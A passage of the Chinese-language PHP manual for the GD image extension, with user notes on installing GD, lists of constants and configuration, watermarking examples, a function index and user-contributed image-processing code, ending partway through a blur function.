On Ubuntu I was missing the libpng-dev, libjpeg-dev (and in my case) libwebp-dev libraries, all gettable with apt-get.

Also once those libraries are installed, including --with-png-dir --with-jpeg-dir --with-webp-dir, without any values (i.e. =/dir) appeared to be valid ... though admittedly I didn't try without (in case the configure script autodetected them).
svestka1999 at gmail dot com 22-Feb-2016 06:20
Instructions how to compile bundled version on Linux:
http://stackoverflow.com/questions/35560150/php-gd-bundled-extension-without-recompiling-php-solution
leyluj21 at gmail dot com 23-Oct-2014 09:58
If you are using PHPBREW , the extension is called gd.
So you do.
```
phpbrew ext install gd
```

It will compile the extension to the core.
james dot a dot munsch at gmail dot com 05-Sep-2014 10:19
sudo apt-get install php5-gd && sudo service apache2 restart

To install under Ubuntu 14.04.
alejo dot jm at gmail dot com 20-Jul-2012 06:47
On Macox lion with mac port just use:
sudo port install php5-gd
florian 31-Jul-2011 02:50
People having difficulties setting the --with-libdir option needs to set it like this :

--with-libdir=lib64

That option works fine. Doing --with-libdir=/usr/lib64 doesn't work because the configure script prepends the --prefix option before the --with-libdir option. So, doing --with-libdir=/usr/lib64 makes the configure script to look for libs in /usr/usr/lib64, which is wrong of course, and not in /usr/lib64.
Joseph Marlin 23-Jun-2011 06:07
I also had to install the libgd package in addition to php5-gd:

sudo apt-get install libgd2-xpm-dev*
octopus at logicaloctopus dot com 17-Apr-2011 12:07
I was running PHP on a SUSE box on amazon EC2.
to get gd to work all I had to do was to run:
> yast -i php5_gd

and when that completed I just restarted apache. voila!
boly38 at gmail dot com 17-Mar-2011 05:25
To get GD bundled under Ubuntu, the way to recompile php5 with gd is described here (french) http://doc.ubuntu-fr.org/modules_php#php5-gd
elassoto at hotmail dot com 10-Sep-2010 01:54
If you have already compiled PHP and want to recompile '--with-gd', don't forget to run 'make clean' first!
msc at homofaber dot com 30-Oct-2008 07:45
It should be noted that it might be pretty easy to install gd without the need to recompile php, when using debian:

apt-get install php5-gd


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Image 配置选项
名字 | 默认 | 可修改范围 | 更新日志
gd.jpeg_ignore_warning | "1" | PHP_INI_ALL |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

gd.jpeg_ignore_warning bool

Ignore warnings (but not errors) created by libjpeg(-turbo).

gd.jpeg_ignore_warning 变更日志
版本 | 说明
7.1.0 | gd.jpeg_ignore_warning 默认值从 0 变更为 1。

参见 exif 配置。

Warning

图像处理函数相当占用内存，如果使用的时 GD 库的捆绑版本，请务必将 memory_limit 设置的足够高。

User Contributed Notes

There are no user contributed notes for this page.


资源类型

本扩展定义了下列资源类型：

GD 库中定义的资源类型列表
名称 | 说明 | 备注
gd | 图像资源，由 imagecreatefrompng() 等函数使用 | PHP 8.0.0 之前
gd font | 由 imageloadfont() 函数内部创建的字体资源 | PHP 8.0.0 之前

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

GD_VERSION (string)
PHP 编译所依据的 GD 版本。
GD_MAJOR_VERSION (int)
PHP 编译所依据的 GD 大版本。
GD_MINOR_VERSION (int)
PHP 编译所依据的 GD 小版本。
GD_RELEASE_VERSION (int)
PHP 编译所依据的 GD 发布版本。
GD_EXTRA_VERSION (string)
PHP 编译所依据的 GD 扩展版本（beta/rc..）。
GD_BUNDLED (int)
当使用绑定版本的 GD 时，此值为 1， 反之为 0。
IMG_AVIF (int)
Used as a return value by imagetypes() （自 PHP 8.1.0 起可用）
IMG_BMP (int)
Used as a return value by imagetypes()
IMG_GIF (int)
Used as a return value by imagetypes()
IMG_JPG (int)
Used as a return value by imagetypes()
IMG_JPEG (int)
Used as a return value by imagetypes()

Note:

本常量值同 IMG_JPG

IMG_PNG (int)
Used as a return value by imagetypes()
IMG_WBMP (int)
Used as a return value by imagetypes()
IMG_XPM (int)
Used as a return value by imagetypes()
IMG_WEBP (int)
Used as a return value by imagetypes() （自 PHP 7.0.10 起可用）
IMG_WEBP_LOSSLESS (int)
（自 PHP 8.1.0 起可用）
IMG_COLOR_TILED (int)
Special color option which can be used instead of a color allocated with imagecolorallocate() or imagecolorallocatealpha().
IMG_COLOR_STYLED (int)
Special color option which can be used instead of a color allocated with imagecolorallocate() or imagecolorallocatealpha().
IMG_COLOR_BRUSHED (int)
Special color option which can be used instead of a color allocated with imagecolorallocate() or imagecolorallocatealpha().
IMG_COLOR_STYLEDBRUSHED (int)
Special color option which can be used instead of a color allocated with imagecolorallocate() or imagecolorallocatealpha().
IMG_COLOR_TRANSPARENT (int)
Special color option which can be used instead of a color allocated with imagecolorallocate() or imagecolorallocatealpha().
IMG_AFFINE_TRANSLATE (int)
An affine transformation type constant used by the imageaffinematrixget() function.
IMG_AFFINE_SCALE (int)
An affine transformation type constant used by the imageaffinematrixget() function.
IMG_AFFINE_ROTATE (int)
An affine transformation type constant used by the imageaffinematrixget() function.
IMG_AFFINE_SHEAR_HORIZONTAL (int)
An affine transformation type constant used by the imageaffinematrixget() function.
IMG_AFFINE_SHEAR_VERTICAL (int)
An affine transformation type constant used by the imageaffinematrixget() function.
IMG_ARC_ROUNDED (int)
A style constant used by the imagefilledarc() function.

Note:

此常量值同 IMG_ARC_PIE

IMG_ARC_PIE (int)
A style constant used by the imagefilledarc() function.
IMG_ARC_CHORD (int)
A style constant used by the imagefilledarc() function.
IMG_ARC_NOFILL (int)
A style constant used by the imagefilledarc() function.
IMG_ARC_EDGED (int)
A style constant used by the imagefilledarc() function.
IMG_GD2_RAW (int)
A type constant used by the imagegd2() function.
IMG_GD2_COMPRESSED (int)
A type constant used by the imagegd2() function.
IMG_EFFECT_REPLACE (int)
Alpha blending effect used by the imagelayereffect() function.
IMG_EFFECT_ALPHABLEND (int)
Alpha blending effect used by the imagelayereffect() function.
IMG_EFFECT_NORMAL (int)
Alpha blending effect used by the imagelayereffect() function.
IMG_EFFECT_OVERLAY (int)
Alpha blending effect used by the imagelayereffect() function.
IMG_EFFECT_MULTIPLY (int)
Alpha blending effect used by the imagelayereffect() function.
IMG_FILTER_NEGATE (int)
Special GD filter used by the imagefilter() function.
IMG_FILTER_GRAYSCALE (int)
Special GD filter used by the imagefilter() function.
IMG_FILTER_BRIGHTNESS (int)
Special GD filter used by the imagefilter() function.
IMG_FILTER_CONTRAST (int)
Special GD filter used by the imagefilter() function.
IMG_FILTER_COLORIZE (int)
Special GD filter used by the imagefilter() function.
IMG_FILTER_EDGEDETECT (int)
Special GD filter used by the imagefilter() function.
IMG_FILTER_GAUSSIAN_BLUR (int)
Special GD filter used by the imagefilter() function.
IMG_FILTER_SELECTIVE_BLUR (int)
Special GD filter used by the imagefilter() function.
IMG_FILTER_EMBOSS (int)
Special GD filter used by the imagefilter() function.
IMG_FILTER_MEAN_REMOVAL (int)
Special GD filter used by the imagefilter() function.
IMG_FILTER_SMOOTH (int)
Special GD filter used by the imagefilter() function.
IMG_FILTER_PIXELATE (int)
Special GD filter used by the imagefilter() function.
IMG_FILTER_SCATTER (int)
Special GD filter used by the imagefilter() function. （自 PHP 7.4.0 版本可用）
IMAGETYPE_GIF (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JPEG (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JPEG2000 (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_PNG (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_SWF (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_PSD (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_BMP (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_WBMP (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_XBM (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_TIFF_II (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_TIFF_MM (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_IFF (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JB2 (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JPC (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JP2 (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JPX (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_SWC (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_ICO (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_WEBP (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions. (从 PHP 7.1.0 开始支持)
IMAGETYPE_AVIF (int)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions. （自 PHP 8.1.0 起可用）
PNG_NO_FILTER (int)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_NONE (int)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_SUB (int)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_UP (int)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_AVG (int)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_PAETH (int)
A special PNG filter, used by the imagepng() function.
PNG_ALL_FILTERS (int)
A special PNG filter, used by the imagepng() function.
IMG_FLIP_VERTICAL (int)
Used together with imageflip(), available as of PHP 5.5.0.
IMG_FLIP_HORIZONTAL (int)
Used together with imageflip(), available as of PHP 5.5.0.
IMG_FLIP_BOTH (int)
Used together with imageflip(), available as of PHP 5.5.0.
IMG_BELL (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_BESSEL (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_BILINEAR_FIXED (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_BICUBIC (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_BICUBIC (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_BLACKMAN (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_BOX (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_BSPLINE (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_CATMULLROM (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_GAUSSIAN (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_GENERALIZED_CUBIC (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_HERMITE (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_HAMMING (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_HANNING (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_MITCHELL (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_POWER (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_QUADRATIC (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_SINC (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_NEAREST_NEIGHBOUR (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_WEIGHTED4 (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_TRIANGLE (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.

User Contributed Notes

webmaster at alexventure dot com 08-Aug-2011 06:25
In case anyone is wondering what these filters are for, have a look at the W3C's specification:

http://www.w3.org/TR/PNG-Filters.html


示例

Table of Contents

  • 使用 PHP 创建 PNG 图像
  • 使用 Alpha 通道为图像加水印
  • 使用 imagecopymerge 函数创建半透明水印

User Contributed Notes

There are no user contributed notes for this page.


使用 PHP 创建 PNG 图像

Example #1 使用 PHP 创建 PNG 图像

<?php

header("Content-type: image/png");
$string = $_GET['text'];
$im = imagecreatefrompng("images/button1.png");
$orange = imagecolorallocate($im, 220, 210, 60);
$px = (imagesx($im) - 7.5 * strlen($string)) / 2;
imagestring($im, 3, $px, 9, $string, $orange);
imagepng($im);
imagedestroy($im);

?>
本示例需要从带有 <img src="button.php?text=text"> 标签的页面调用。 上述 button.php 脚本将 "text" 字符串绘制到一个图像上， 在本例中图像文件为 "images/button1.png"， 然后输出绘制后的图像。 当你需要经常修改图像上的文字时， 动态生成图像就可以省去了每次都重新制作图像的麻烦。

User Contributed Notes

viishalkumarsahu at gmail dot com 16-Dec-2016 09:24
Function to create random png images when requested for example...
<img src="create_image.php?s=008080_F_1000_200&t=Sample%20Image%20Drawn%20By%20PHP" alt="GD Library Example Image" >

here is create_image.php
<?php
$setting = isset($_GET['s']) ? $_GET['s'] : "FFF_111_100_100";
$setting = explode("_",$setting );
$img = array();

switch ($n = count($setting)) {
    case $n > 4 :
    case 3:
        $setting[3] = $setting[2];
    case 4:
        $img['width'] = (int) $setting[2];
        $img['height'] = (int) $setting[3];
    case 2:
        $img['color'] = $setting[1];
        $img['background'] = $setting[0];
        break;
    default:
        list($img['background'],$img['color'],$img['width'],$img['height']) = array('F','0',100,100);
        break;
}

$background = explode(",",hex2rgb($img['background']));
$color = explode(",",hex2rgb($img['color']));
$width = empty($img['width']) ? 100 : $img['width'];
$height = empty($img['height']) ? 100 : $img['height'];
$string = (string) isset($_GET['t']) ? $_GET['t'] : $width ."x". $height;

header("Content-Type: image/png");
$image = @imagecreate($width, $height)
    or die("Cannot Initialize new GD image stream");

$background_color = imagecolorallocate($image, $background[0], $background[1], $background[2]);
$text_color = imagecolorallocate($image, $color[0], $color[1], $color[2]);

imagestring($image, 5, 5, 5, $string, $text_color);
imagepng($image);
imagedestroy($image);

function hex2rgb($hex) {
    // Copied
   $hex = str_replace("#", "", $hex);

   switch (strlen($hex)) {
       case 1:
           $hex = $hex.$hex;
       case 2:
          $r = hexdec($hex);
          $g = hexdec($hex);
          $b = hexdec($hex);
           break;

       case 3:
          $r = hexdec(substr($hex,0,1).substr($hex,0,1));
          $g = hexdec(substr($hex,1,1).substr($hex,1,1));
          $b = hexdec(substr($hex,2,1).substr($hex,2,1));
           break;

       default:
          $r = hexdec(substr($hex,0,2));
          $g = hexdec(substr($hex,2,2));
          $b = hexdec(substr($hex,4,2));
           break;
   }

   $rgb = array($r, $g, $b);
   return implode(",", $rgb);
}


使用 Alpha 通道为图像加水印

Example #1 使用 Alpha 通道为图像加水印

<?php
// 加载水印以及要加水印的图像
$stamp = imagecreatefrompng('stamp.png');
$im = imagecreatefromjpeg('photo.jpeg');

// 设置水印图像的外边距，并且获取水印图像的尺寸
$marge_right = 10;
$marge_bottom = 10;
$sx = imagesx($stamp);
$sy = imagesy($stamp);

// 利用图像的宽度和水印的外边距计算位置，并且将水印复制到图像上

imagecopy($im, $stamp, imagesx($im) - $sx - $marge_right, imagesy($im) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp));

// 输出图像并释放内存
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
使用 Alpha 通道为图像加水印
本示例是为图像加水印以及版权信息的常见方式。 请注意，水印图像中所包含的 alpha 通道信息以及文本的抗锯齿效果， 都会在复制过程中保留。

User Contributed Notes

There are no user contributed notes for this page.


使用 imagecopymerge 函数创建半透明水印

  • ? 使用 Alpha 通道为图像加水印
  • GD 和图像处理 函数 ?
  • PHP Manual
  • 示例
  • 使用 imagecopymerge 函数创建半透明水印

使用 imagecopymerge() 函数创建半透明水印

Example #1 使用 imagecopymerge() 函数创建半透明水印

<?php
// 加载要加水印的图像
$im = imagecreatefromjpeg('photo.jpeg');

// 首先我们从 GD 手动创建水印图像
$stamp = imagecreatetruecolor(100, 70);
imagefilledrectangle($stamp, 0, 0, 99, 69, 0x0000FF);
imagefilledrectangle($stamp, 9, 9, 90, 60, 0xFFFFFF);
imagestring($stamp, 5, 20, 20, 'libGD', 0x0000FF);
imagestring($stamp, 3, 20, 40, '(c) 2007-9', 0x0000FF);

// 设置水印图像的位置和大小
$marge_right = 10;
$marge_bottom = 10;
$sx = imagesx($stamp);
$sy = imagesy($stamp);

// 以 50% 的透明度合并水印和图像
imagecopymerge($im, $stamp, imagesx($im) - $sx - $marge_right, imagesy($im) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp), 50);

// 将图像保存到文件，并释放内存
imagepng($im, 'photo_stamp.png');
imagedestroy($im);

?>
使用 imagecopymerge() 函数创建半透明水印
本示例使用 imagecopymerge() 函数 来合并水印图像和原始图像。 我们可以控制水印的透明度，在本例中是 50% 的透明度。 在实际使用中， 使用半透明水印可以在不影响用户观看图像的前提下进行版权保护。

User Contributed Notes

There are no user contributed notes for this page.


GD 和图像处理 函数

Table of Contents

  • gd_info — 取得当前安装的 GD 库的信息
  • getimagesize — 取得图像大小
  • getimagesizefromstring — 从字符串中获取图像尺寸信息
  • image_type_to_extension — 取得图像类型的文件后缀
  • image_type_to_mime_type — 取得 getimagesize、exif_read_data、exif_thumbnail、exif_imagetype 所返回的图像类型的 MIME 类型
  • image2wbmp — 输出图象到浏览器或文件。
  • imageaffine — 返回经过仿射变换后的图像，剪切区域可选
  • imageaffinematrixconcat — Concatenate two affine transformation matrices
  • imageaffinematrixget — Get an affine transformation matrix
  • imagealphablending — 设定图像的混色模式
  • imageantialias — 是否使用抗锯齿（antialias）功能
  • imagearc — 画弧线
  • imageavif — 输出图象到浏览器或文件。
  • imagebmp — Output a BMP image to browser or file
  • imagechar — 水平地绘制一个字符
  • imagecharup — 垂直地绘制一个字符
  • imagecolorallocate — 为图像分配颜色
  • imagecolorallocatealpha — 为图像分配颜色
  • imagecolorat — 取得某像素的颜色索引值
  • imagecolorclosest — 取得与指定的颜色最接近的颜色索引值
  • imagecolorclosestalpha — 获取最接近指定颜色 + alpha 的颜色索引
  • imagecolorclosesthwb — 取得与给定颜色最接近的色度的黑白色的索引
  • imagecolordeallocate — 取消图像颜色的分配
  • imagecolorexact — 取得指定颜色的索引值
  • imagecolorexactalpha — 取得指定的颜色加透明度的索引值
  • imagecolormatch — 使一个图像中调色板版本的颜色与真彩色版本更能匹配
  • imagecolorresolve — 取得指定颜色的索引值或有可能得到的最接近的替代值
  • imagecolorresolvealpha — 取得指定颜色 + alpha 或其最接近的替代值
  • imagecolorset — 给指定调色板索引设定颜色
  • imagecolorsforindex — 获取索引的颜色
  • imagecolorstotal — 取得图像调色板中的颜色数量
  • imagecolortransparent — 将颜色定义为透明
  • imageconvolution — 用系数 div 和 offset 申请一个 3x3 的卷积矩阵
  • imagecopy — 拷贝图像的一部分
  • imagecopymerge — 拷贝并合并图像的一部分
  • imagecopymergegray — 用灰度复制并合并图像的一部分
  • imagecopyresampled — 重采样拷贝部分图像并调整大小
  • imagecopyresized — 拷贝部分图像并调整大小
  • imagecreate — 创建新的基于调色板的图像
  • imagecreatefromavif — 由文件或 URL 创建一个新图象。
  • imagecreatefrombmp — 由文件或 URL 创建一个新图象。
  • imagecreatefromgd2 — 从 GD2 文件或 URL 新建一图像
  • imagecreatefromgd2part — 从指定的 GD2 文件或 URL 的部分创建新图像
  • imagecreatefromgd — 从 GD 文件或 URL 新建一图像
  • imagecreatefromgif — 由文件或 URL 创建一个新图象。
  • imagecreatefromjpeg — 由文件或 URL 创建一个新图象。
  • imagecreatefrompng — 由文件或 URL 创建一个新图象。
  • imagecreatefromstring — 从字符串的图像流中新建图像
  • imagecreatefromtga — 由文件或 URL 创建一个新图象。
  • imagecreatefromwbmp — 由文件或 URL 创建一个新图象。
  • imagecreatefromwebp — 由文件或 URL 创建一个新图象。
  • imagecreatefromxbm — 由文件或 URL 创建一个新图象。
  • imagecreatefromxpm — 由文件或 URL 创建一个新图象。
  • imagecreatetruecolor — 新建真彩色图像
  • imagecrop — Crop an image to the given rectangle
  • imagecropauto — Crop an image automatically using one of the available modes
  • imagedashedline — 绘制虚线
  • imagedestroy — 销毁图像
  • imageellipse — 画椭圆
  • imagefill — 漫水填充
  • imagefilledarc — 绘制部分弧形并填充
  • imagefilledellipse — 绘制椭圆并填充
  • imagefilledpolygon — 绘制多边形并填充
  • imagefilledrectangle — 绘制矩形并填充
  • imagefilltoborder — 漫水填充特定颜色
  • imagefilter — 对图像使用过滤器
  • imageflip — Flips an image using a given mode
  • imagefontheight — 获取字体高度
  • imagefontwidth — 获取字体宽度
  • imageftbbox — 通过 freetype2 使用字体给出文本的边界框
  • imagefttext — 使用 FreeType 2 字体将文本写入图像
  • imagegammacorrect — 对 GD 图像应用伽玛校正
  • imagegd2 — 将 GD2 图像输出到浏览器或文件
  • imagegd — 将 GD 图像输出到浏览器或文件
  • imagegetclip — Get the clipping rectangle
  • imagegetinterpolation — Get the interpolation method
  • imagegif — 输出图象到浏览器或文件。
  • imagegrabscreen — Captures the whole screen
  • imagegrabwindow — Captures a window
  • imageinterlace — 启用或禁用隔行扫描
  • imageistruecolor — 检查图像是否为真彩色图像
  • imagejpeg — 输出图象到浏览器或文件。
  • imagelayereffect — 设定 alpha 混合标志以使用分层效果
  • imageline — 绘制直线
  • imageloadfont — 载入新字体
  • imageopenpolygon — Draws an open polygon
  • imagepalettecopy — 将调色板从一个图像复制到另一个
  • imagepalettetotruecolor — Converts a palette based image to true color
  • imagepng — 将 PNG 图像输出到浏览器或文件
  • imagepolygon — 绘制多边形
  • imagerectangle — 绘制矩形
  • imageresolution — Get or set the resolution of the image
  • imagerotate — 用给定角度旋转图像
  • imagesavealpha — 保存图像时是否保留完整的 alpha 通道信息
  • imagescale — Scale an image using the given new width and height
  • imagesetbrush — 为线条设置笔刷图像
  • imagesetclip — Set the clipping rectangle
  • imagesetinterpolation — Set the interpolation method
  • imagesetpixel — 设置单个像素
  • imagesetstyle — 设定线条的样式
  • imagesetthickness — 设定画线的粗细
  • imagesettile — 设置要填充的平铺图像
  • imagestring — 水平绘制字符串
  • imagestringup — 垂直绘制字符串
  • imagesx — 取得图像宽度
  • imagesy — 取得图像高度
  • imagetruecolortopalette — 将真彩色图像转换为调色板图像
  • imagettfbbox — 取得使用 TrueType 字体的文本的边界框
  • imagettftext — 用 TrueType 字体向图像写入文本
  • imagetypes — 返回 PHP 内置支持的图像类型
  • imagewbmp — 输出图象到浏览器或文件。
  • imagewebp — 将 WebP 格式的图像输出到浏览器或文件
  • imagexbm — 输出 XBM 图像到浏览器或文件
  • iptcembed — 嵌入二进制 IPTC 数据到 JPEG 图像中
  • iptcparse — 将二进制 IPTC 块解析为单个标签
  • jpeg2wbmp — 将 JPEG 图像文件转换为 WBMP 图像文件
  • png2wbmp — 将 PNG 图像文件转换为 WBMP 图像文件

User Contributed Notes

delabahan at gmail dot com 24-Nov-2016 05:44
This is an example of get high resolution images.

<?php
 /**
 * Class name      : resizeImage
 * Created by   : wang
 * Description   : This class is to resize the image from original size to new size
 */
class resizeImage
{
     /**
     * Function name : resize_img
     * Description   : This function is to resize image
     * @param          : $origimg variable is the original image
     * @param          : $newimg variable is the new image
     * @param          : $w variable is the width of image
     * @param          : $f variable is the height of image
     */
    public  function resize_img($origimg,$newimg,$w,$h){
        $info = getimagesize($origimg);
        $mime   = $info['mime'];

        // Make sure that the requested file is actually an image
        if(substr($mime, 0, 6) != 'image/')
        {
            header('HTTP/1.1 400 Bad Request');
            return 'Error: requested file is not an accepted type: ' .$origimg;
            exit();
        }

        // Check they extention of image
        $extension = image_type_to_extension($info[2]);
        if(strtolower($extension) == '.png'){
            $img = $this->resize_imagepng($origimg,$w, $h);
            imagepng($img,$newimg);
            imagedestroy($img);
        }elseif(strtolower($extension) == '.jpeg'){
            $img = $this->resize_imagejpeg($origimg, $w, $h);
            imagejpeg($img, $newimg);
            imagedestroy($img);
        }elseif(strtolower($extension == '.gif')){
            $img = $this->resize_imagegif($origimg, $w, $h);
            imagegif($img,$newimg);
            imagedestroy($img);
        }

    }
     /**
     * End function name : resize_img
     */

     /**
     * Function name : resize_imagepng
     * Description   : This function is to resize png image
     * @param          : $file variable is the original image
     * @param          : $w variable is the width of image
     * @param          : $f variable is the height of image
     */
    private function resize_imagepng($file, $w, $h) {
       list($width, $height) = getimagesize($file);
       $src = imagecreatefrompng($file);
       $dst = imagecreatetruecolor($w, $h);
       imagecopyresampled($dst, $src, 0, 0, 0, 0, $w, $h, $width, $height);
       return $dst;
    }
     /**
     * End function name : resize_imagepng
     */

     /**
     * Function name : resize_imagejpeg
     * Description   : This function is to resize jpeg image
     * @param          : $file variable is the original image
     * @param          : $w variable is the width of image
     * @param          : $f variable is the height of image
     */
    private function resize_imagejpeg($file, $w, $h) {
       list($width, $height) = getimagesize($file);
       $src = imagecreatefromjpeg($file);
       $dst = imagecreatetruecolor($w, $h);
       imagecopyresampled($dst, $src, 0, 0, 0, 0, $w, $h, $width, $height);
       return $dst;
    }
     /**
     * End function name : resize_imagejpeg
     */

     /**
     * Function name : resize_imagegif
     * Description   : This function is to resize gif image
     * @param          : $file variable is the original image
     * @param          : $w variable is the width of image
     * @param          : $f variable is the height of image
     */
    private function resize_imagegif($file, $w, $h) {
       list($width, $height) = getimagesize($file);
       $src = imagecreatefromgif($file);
       $dst = imagecreatetruecolor($w, $h);
       imagecopyresampled($dst, $src, 0, 0, 0, 0, $w, $h, $width, $height);
       return $dst;
    }
     /**
     * End function name : resize_imagegif
     */
}
/**
* End class name : resizeImage
*/
?>
mpyw 10-Nov-2016 08:45
This is an example of black-and-white imagebmp() implementation.

<?php

/**
 * Output a black-and-white BMP image to either the browser or a file.
 *
 * @param resource $image
 *            An image resource, returned by one of the image creation functions,
 *            such as imagecreatetruecolor().
 *
 * @param string|null $to
 *            The path or an open stream resource
 *            (which is automatically being closed after this function returns)
 *            to save the file to.
 *            If not set or NULL, the raw image stream will be outputted directly.
 *
 * @param float $threshold
 *            The number in the range of 0.0 to 1.0.
 *            Brighter for larger, or darker for smaller.
 *
 * @return bool Returns TRUE on success or FALSE on failure.
 *
 */
function imagebwbmp($image, $to = null, $threshold = 0.5)
{
    if (func_num_args() < 1) {
        $fmt = "imagebwbmp() expects a least 1 parameters, %d given";
        trigger_error(sprintf($fmt, func_num_args()), E_USER_WARNING);
        return;
    }
    if (!is_resource($image)) {
        $fmt = "imagebwbmp() expects parameter 1 to be resource, %s given";
        trigger_error(sprintf($fmt, gettype($image)), E_USER_WARNING);
        return;
    }
    if (!is_numeric($threshold)) {
        $fmt = "imagebwbmp() expects parameter 3 to be float, %s given";
        trigger_error(sprintf($fmt, gettype($threshold)), E_USER_WARNING);
        return;
    }

    if (get_resource_type($image) !== 'gd') {
        $msg = "imagebwbmp(): supplied resource is not a valid gd resource";
        trigger_error($msg, E_USER_WARNING);
        return false;
    }
    switch (true) {
        case $to === null:
            break;
        case is_resource($to) && get_resource_type($to) === 'stream':
        case is_string($to) && $to = fopen($to, 'wb'):
            if (preg_match('/[waxc+]/', stream_get_meta_data($to)['mode'])) {
                break;
            }
        default:
            $msg = "imagebwbmp(): Invalid 2nd parameter, it must a writable filename or a writable stream";
            trigger_error($msg, E_USER_WARNING);
            return false;
    }

    if ($to === null) {
        $to = fopen('php://output', 'wb');
    }

    $biWidth = imagesx($image);
    $biHeight = imagesy($image);
    $biSizeImage = ((int)ceil($biWidth / 32) * 32 / 8 * $biHeight);
    $bfOffBits = 54 + 4 * 2; // Use two colors (black and white)
    $bfSize = $bfOffBits + $biSizeImage;

    fwrite($to, 'BM');
    fwrite($to, pack('VvvV', $bfSize, 0, 0, $bfOffBits));
    fwrite($to, pack('VVVvvVVVVVV', 40, $biWidth, $biHeight, 1, 1, 0, $biSizeImage, 0, 0, 0, 0));
    fwrite($to, "\xff\xff\xff\x00"); // white
    fwrite($to, "\x00\x00\x00\x00"); // black

    for ($y = $biHeight - 1; $y >= 0; --$y) {
        $byte = 0;
        for ($x = 0; $x < $biWidth; ++$x) {
            $rgb = imagecolorsforindex($image, imagecolorat($image, $x, $y));
            $value = (0.299 * $rgb['red'] + 0.587 * $rgb['green'] + 0.114 * $rgb['blue']) / 0xff;
            $color = (int)($value > $threshold);
            $byte = ($byte << 1) | $color;
            if ($x % 8 === 7) {
                fwrite($to, pack('C', $byte));
                $byte = 0;
            }
        }
        if ($x % 8) {
            fwrite($to, pack('C', $byte << (8 - $x % 8)));
        }
        if ($x % 32) {
            fwrite($to, str_repeat("\x00", (int)((32 - $x % 32) / 8)));
        }
    }

    return true;
}
?>
ingo at jache dot de 14-Oct-2011 03:16
I know this might look somewhat superfluous to others, but i once came across a situation where i needed a *strong* blur on an image without having ImageMagick installed. Executing the convolution-filter several times on the same image is awfully slow and still doesn't give a good blur.

The function below accepts a truecolor-image and a blur-factor between 0.0 and 1.0. Beware: It's still quite slow.

<?php

    function blurImage($srcimg,$blur)
    {
        $blur = $blur*$blur;
        $blur = max(0,min(1,$blur));

        $srcw = imagesx($srcimg);
        $srch = imagesy($srcimg);

        $dstimg = imagecreatetruecolor($srcw,$srch);

        $f1a = $blur;
        $f1b = 1.0 - $blur;

        $cr = 0; $cg = 0; $cb = 0;
        $nr = 0; $ng = 0; $nb = 0;

        $rgb = imagecolorat($srcimg,0,0);
        $or = ($rgb >> 16) & 0xFF;
        $og = ($rgb >> 8) & 0xFF;
        $ob = ($rgb) & 0xFF;

        //-------------------------------------------------
        // first line is a special case
        //-------------------------------------------------
        $x = $srcw;
        $y = $srch-1;
        while ($x--)
        {
            //horizontal blurren
            $rgb = imagecolorat($srcimg,$x,$y);
            $cr = ($rgb >> 16) & 0xFF;
